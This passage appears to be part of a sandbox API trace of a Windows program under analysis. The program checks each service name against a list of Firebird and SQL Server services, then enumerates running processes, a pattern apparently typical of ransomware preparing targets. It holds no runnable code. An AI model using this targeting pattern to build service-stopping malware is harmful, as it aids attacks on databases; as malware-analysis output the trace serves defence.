lpString2="Dhcp") returned 1 [0241.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.727] lstrlenW (lpString="Dnscache") returned 8 [0241.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.727] lstrlenW (lpString="DPS") returned 3 [0241.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.727] lstrlenW (lpString="DusmSvc") returned 7 [0241.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0241.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0241.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0241.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0241.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0241.727] lstrlenW (lpString="EventLog") returned 8 [0241.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0241.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0241.727] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0241.727] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0241.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0241.727] lstrlenW (lpString="EventSystem") returned 11 [0241.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.728] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.728] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.728] lstrlenW (lpString="FontCache") returned 9 [0241.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0241.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0241.728] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0241.728] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0241.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0241.728] lstrlenW (lpString="gpsvc") returned 5 [0241.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.728] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.728] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.728] lstrlenW (lpString="iphlpsvc") returned 8 [0241.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0241.728] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0241.728] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0241.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0241.728] lstrlenW (lpString="KeyIso") returned 6 [0241.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0241.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0241.728] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0241.728] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0241.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0241.729] lstrlenW (lpString="LanmanServer") returned 12 [0241.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0241.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0241.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0241.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0241.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0241.729] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.729] lstrlenW (lpString="lfsvc") returned 5 [0241.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0241.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0241.729] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0241.729] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0241.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0241.729] lstrlenW (lpString="lmhosts") returned 7 [0241.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.729] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.729] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.729] lstrlenW (lpString="LSM") returned 3 [0241.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0241.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0241.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0241.730] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0241.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0241.730] lstrlenW (lpString="MpsSvc") returned 6 [0241.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.730] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.730] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.730] lstrlenW (lpString="NcbService") returned 10 [0241.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0241.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0241.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0241.730] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0241.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0241.730] lstrlenW (lpString="netprofm") returned 8 [0241.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0241.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0241.730] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0241.730] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0241.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0241.730] lstrlenW (lpString="NgcSvc") returned 6 [0241.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0241.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0241.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0241.730] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0241.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0241.730] lstrlenW (lpString="NlaSvc") returned 6 [0241.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.731] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.731] lstrlenW (lpString="nsi") returned 3 [0241.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.731] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.731] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.731] lstrlenW (lpString="PcaSvc") returned 6 [0241.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.731] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.731] lstrlenW (lpString="PlugPlay") returned 8 [0241.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.731] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.731] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.731] lstrlenW (lpString="Power") returned 5 [0241.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.732] lstrlenW (lpString="ProfSvc") returned 7 [0241.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.732] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.732] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.732] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.732] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.732] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.732] lstrlenW (lpString="RpcSs") returned 5 [0241.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.732] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.732] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.732] lstrlenW (lpString="SamSs") returned 5 [0241.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.732] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.004] lstrlenW (lpString="Schedule") returned 8 [0242.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.004] lstrlenW (lpString="SecurityHealthService") returned 21 [0242.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0242.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0242.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0242.004] lstrlenW (lpString="SENS") returned 4 [0242.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.005] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.005] lstrlenW (lpString="Spooler") returned 7 [0242.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.005] lstrlenW (lpString="StateRepository") returned 15 [0242.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0242.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0242.005] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0242.005] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0242.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0242.005] lstrlenW (lpString="SysMain") returned 7 [0242.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0242.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0242.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0242.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0242.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0242.006] lstrlenW (lpString="SystemEventsBroker") returned 18 [0242.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0242.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0242.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0242.006] lstrlenW (lpString="Themes") returned 6 [0242.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.006] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0242.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.006] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0242.006] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0242.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0242.006] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0242.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.006] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0242.006] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0242.006] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ef0078 | out: hHeap=0x630000) returned 1 [0242.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1090 [0242.012] Process32FirstW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.012] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.013] lstrlenW (lpString="System") returned 6 [0242.013] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.014] lstrlenW (lpString="smss.exe") returned 8 [0242.014] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.015] lstrlenW (lpString="csrss.exe") returned 9 [0242.015] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.016] lstrlenW (lpString="wininit.exe") returned 11 [0242.016] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.017] lstrlenW (lpString="csrss.exe") returned 9 [0242.017] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.018] lstrlenW (lpString="winlogon.exe") returned 12 [0242.018] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.019] lstrlenW (lpString="services.exe") returned 12 [0242.019] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.020] lstrlenW (lpString="lsass.exe") returned 9 [0242.020] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.020] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.020] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.021] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.021] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.022] lstrlenW (lpString="svchost.exe") returned 11 [0242.022] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.022] lstrlenW (lpString="svchost.exe") returned 11 [0242.022] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.023] lstrlenW (lpString="dwm.exe") returned 7 [0242.023] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.024] lstrlenW (lpString="svchost.exe") returned 11 [0242.024] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.025] lstrlenW (lpString="svchost.exe") returned 11 [0242.025] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.025] lstrlenW (lpString="svchost.exe") returned 11 [0242.026] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.026] lstrlenW (lpString="svchost.exe") returned 11 [0242.026] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.027] lstrlenW (lpString="svchost.exe") returned 11 [0242.027] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.028] lstrlenW (lpString="svchost.exe") returned 11 [0242.028] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.029] lstrlenW (lpString="svchost.exe") returned 11 [0242.029] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.030] lstrlenW (lpString="svchost.exe") returned 11 [0242.030] Process32NextW (in: hSnapshot=0x1090, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, 